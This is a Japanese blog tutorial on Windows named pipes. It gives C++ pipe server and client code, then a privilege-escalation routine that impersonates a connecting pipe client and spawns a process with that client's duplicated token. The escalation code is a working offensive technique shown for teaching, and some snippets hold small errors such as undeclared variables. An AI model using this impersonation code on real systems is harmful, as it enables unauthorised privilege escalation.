Posts Namedpipe-Privilege-Escalation
Post
Cancel

Namedpipe-Privilege-Escalation

PipeはWindowsでプロセス間通信に用いられる技術です。 これはプロセスが異なるネットワーク上にある場合でもプロセス間でデータのやり取るが可能です。 Pipeを作成するプロセスをPipe serverといい、Pipeに接続するプロセスをPipe clientと言います。

Named pipeはPipeを作成時に名前を設定します。 また、これとは逆にAnonymous pipeも存在しますが、今回の範囲ではないため触れません。

Named pipe

それでは実際にコードを作成して通信をしてみたいと思います。 Pipe名はmi2-Pipeで作成してきます。

Pipe server

まず最初にPipe serverの方から書いていきます。

流れ的には下記のようになります。

1
CreateNamedPipe->ConnectNamedPipe->WriteFile
  1. CreateNamedPipe関数でNamed pipeを作成します。
  2. ConnectNamedPipe関数でPipeへの接続を待ちます。
  3. WriteFile関数でclientへメッセージを送ります。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int server() {
  LPCWSTR lpName{ L"\\\\.\\pipe\\mi2-Pipe" };  // Pipe名
  HANDLE hPipe{ 0 };  // Pipeハンドル
  LPCWSTR lpMsg{ L"I Love Asuka Sito" };  // クライアントがコネクションしてきたら送るメッセージ

  hPipe = CreateNamedPipe(
    lpName,  // Pipe名
    PIPE_ACCESS_DUPLEX,  // 双方向通信 
    PIPE_TYPE_MESSAGE,   // 
    1,  // インスタンスの最大数
    1024,  // 出力バッファサイズ
    1024,  // 入力バッファサイズ
    0,  // タイムアウト間隔
    nullptr);  // セキュリティ記述子

  if (ConnectNamedPipe(hPipe, nullptr))  // Pipeハンドル, OVERLAPPED構造体へのポインタ
    WriteFile(hPipe, lpMsg, (wcslen(lpMsg + 1) * 2), nullptr, nullptr);

  if (hPipe)
    CloseHandle(hPipe);
  return 0;
}

Pipe client

次にPipe clientの方を書いていきます。

流れ的には下記のようになります。

1
CreateFile->ReadFile
  1. CreateFile関数でハンドルを取得します。
  2. ReadFile関数でserverから送られてくるメッセージを受け取ります。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int client() {
  LPCWSTR lpName{ L"\\\\127.0.0.1\\pipe\\mi2-Pipe" };
  HANDLE hPipe{ 0 };
  bool bPipeRead{ true };
	wchar_t lpMsg[1024]{ 0 };

  hPipe = CreateFile(lpName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

  while (bPipeRead) {
		bPipeRead = ReadFile(hPipe, &lpMsg, 1024, nullptr, nullptr);
		wcout << "Received message: " << Msg;
	}

  if (hPipe)
    CloseHandle(hPipe);
  return 0;
}

Privilege Escalation

それでは今回の本題とも言える、権限昇格をしていきます。 権限昇格にはImpersonateNamedPipeClient関数を使用します。 この関数は、PipeのClient側のアクセストークンをServer側が引き継ぐことができる関数です。

流れ的には下記のようになります。

1
ImpersonateNamedPipeClient->OpenThreadToken->DuplicateTokenEx->CreateProcesWithToken
  1. ImpersonateNamedPipeClient関数でClient側のトークンをServer側が引き継ぎます。
  2. OpenThreadToken関数でCurrentThreadのトークンを取得します。
  3. DuplicateTokenEx関数でトークンの複製をします。
  4. CreateProcessWithToken関数で複製したトークンでプロセスを作成します。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int escalation() {
  LPCWSTR lpName{ L"\\\\.\\pipe\\mi2-Pipe" };
  HANDLE hPipe{ 0 };
  LPCWSTR lpMsg{ L"I Love Asuka Sito" };
  HANDLE hToken{ 0 };
	HANDLE hNewToken{ 0 };

  hPipe = CreateNamedPipe(lpName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 1024, 1024, 0, nullptr);

  if (ConnectNamedPipe(hPipe, nullptr))
    WriteFile(hPipe, lpMsg, (wcslen(lpMsg + 1) * 2), nullptr, nullptr);

  ImpersonateNamedPipeClient(hPipe);

	OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken);
	DuplicateTokenEx(hToken, NULL, nullptr, SecurityImpersonation, TokenPrimary, &hNewToken);
	CreateProcessWithTokenW(hNewToken, 0, nullptr, lpCmd, NULL, nullptr, nullptr, nullptr, nullptr);

  if (hNewToken)
    CloseHandle(hNewToken);
  if (hToken)
    CloseHandle(hToken);
  if (hPipe)
    CloseHandle(hPipe);
  return 0;
}

Reference

Windows NamedPipes 101 + Privilege Escalation - Red Teaming Experiments Impersonating a Named Pipe Client - Win32 apps Named Pipes - Win32 apps 名前付きパイプ - Wikipedia

This post is licensed under CC BY 4.0 by the author.